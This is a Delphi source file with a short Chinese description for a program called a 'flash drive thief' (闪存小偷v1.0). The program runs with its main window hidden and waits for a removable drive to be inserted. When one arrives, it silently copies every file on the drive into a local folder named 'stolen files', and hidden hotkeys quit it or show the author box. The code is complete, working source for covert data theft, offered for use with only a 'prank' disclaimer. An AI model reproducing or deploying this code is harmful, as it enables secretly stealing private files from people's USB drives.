un_main.pas

Delphi版的闪盘小偷。。 实现原理:当Windows系统的硬件设置发生变化时,系统将会向所有应用程序发送一条WM_DEVICECHANGE消息.当有设备被禁止或激活时(比如我们插入光盘,从光驱中

unit Un_Main;

interface

uses
  Windows, Messages, SysUtils,Forms;

type
  TFrm_Main = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
    procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
    function CopyDirAll(sDirName:String;sToDirName:String):Boolean;
  public
    { Public declarations }
  end;
const 
     DBT_DEVICEARRIVAL = $8000;  // system detected a new device
     DBT_DEVICEREMOVECOMPLETE = $8004;  // device is gone
     DBT_DEVTYP_VOLUME = $00000002;  // logical volume
     DBTF_MEDIA = $0001;  // media comings and goings
type
 PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
 TDEV_BROADCAST_HDR = packed record
   dbch_size : DWORD;
   dbch_devicetype : DWORD;
   dbch_reserved : DWORD;
 end;
  PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
  TDEV_BROADCAST_VOLUME = packed record
     dbcv_size : DWORD;
     dbcv_devicetype : DWORD;
     dbcv_reserved : DWORD;
     dbcv_unitmask : DWORD;
     dbcv_flags : WORD;
   end;

var
  Frm_Main: TFrm_Main;
  QuitId,ShowMe: Integer;
implementation

{$R *.dfm}
procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var lpdb : PDEV_BROADCAST_HDR;
   lpdbv : PDEV_BROADCAST_VOLUME;
   unitmask:DWORD;
   i:integer;
begin
  lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
  case Msg.WParam of
    DBT_DEVICEARRIVAL ://有设备安装完毕

    if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
    begin
      lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
      unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符
      for i:=0 to 25 do //遍历磁盘
      begin
        if Boolean(unitmask and $1)then//看该驱动器的状态是否发生了变化
          break;
        unitmask := unitmask shr 1;
      end;
      //char(i+65);//变化的盘符
      CopyDirAll(Char(i+65)+':\',ExtractFileDir(Application.Exename)+'\窃取的文件\');//拷贝源和目标,自行修改吧
    end;

  end;
end;

function TFrm_Main.CopyDirAll(sDirName:String;sToDirName:String):Boolean;
var
   hFindFile:Cardinal;      //拷贝整个目录(包括子目录)
   t,tfile:String; 
   sCurDir:String[255];
   FindFileData:WIN32_FIND_DATA; 
begin
   //先保存当前目录 
   sCurDir:=GetCurrentDir;
   ChDir(sDirName);
   hFindFile:=FindFirstFile('*.*',FindFileData);
   if hFindFile<>INVALID_HANDLE_VALUE then
   begin
    if not DirectoryExists(sToDirName) then
       ForceDirectories(sToDirName); 
    repeat
          tfile:=FindFileData.cFileName;
          if (tfile='.') or (tfile='..') then
             Continue;
          if FindFileData.dwFileAttributes=
          FILE_ATTRIBUTE_DIRECTORY then
          begin
               t:=sToDirName+'\'+tfile;
               if  not DirectoryExists(t) then
                   ForceDirectories(t);
               if sDirName[Length(sDirName)]<>'\' then
                  CopyDirAll(sDirName+'\'+tfile,t)
               else
                  CopyDirAll(sDirName+tfile,sToDirName+tfile);
          end
          else
          begin
               t:=sToDirName+'\'+tFile;
               CopyFile(PChar(tfile),PChar(t),True);
          end;
    until FindNextFile(hFindFile,FindFileData)=false;

    Windows.FindClose(hFindFile);
   end
   else
   begin
        ChDir(sCurDir);
        result:=false;
        exit;
   end;
   //回到原来的目录下
   ChDir(sCurDir);
   result:=true;
end;

procedure TFrm_Main.FormCreate(Sender: TObject);
begin
  Application.ShowMainForm:=False;
  QuitId:= GlobalAddAtom('MyQuitId') - $C000;//注册热键
  RegisterHotKey(Handle, QuitId, MOD_CONTROL or MOD_Alt,VK_F12  );
  ShowMe:= GlobalAddAtom('MyShowMe') - $C000;//注册热键
  RegisterHotKey(Handle, ShowMe, MOD_CONTROL or MOD_Alt or MOD_Shift,VK_Home  );
end;

procedure TFrm_Main.HotKeyDown(var Msg: Tmessage);
begin
 if (Msg.LparamLo = MOD_CONTROL or MOD_Alt) AND (Msg.LParamHi= VK_F12) then //退出
 begin
   Close;
 end;
  if (Msg.LparamLo = MOD_CONTROL or MOD_Alt or MOD_Shift) AND (Msg.LParamHi= VK_Home) then
 begin
   Application.MessageBox('作者：杨石磊 制作于:2005年12月14日'+#13+#13+'恶作剧软件,请不要用于其他途径:)','闪存小偷v1.0',MB_ICONINFORMATION);
 end;
end;

procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  UnRegisterHotKey(handle, QuitId);//释放热键
  UnRegisterHotKey(handle, ShowMe);
end;

end.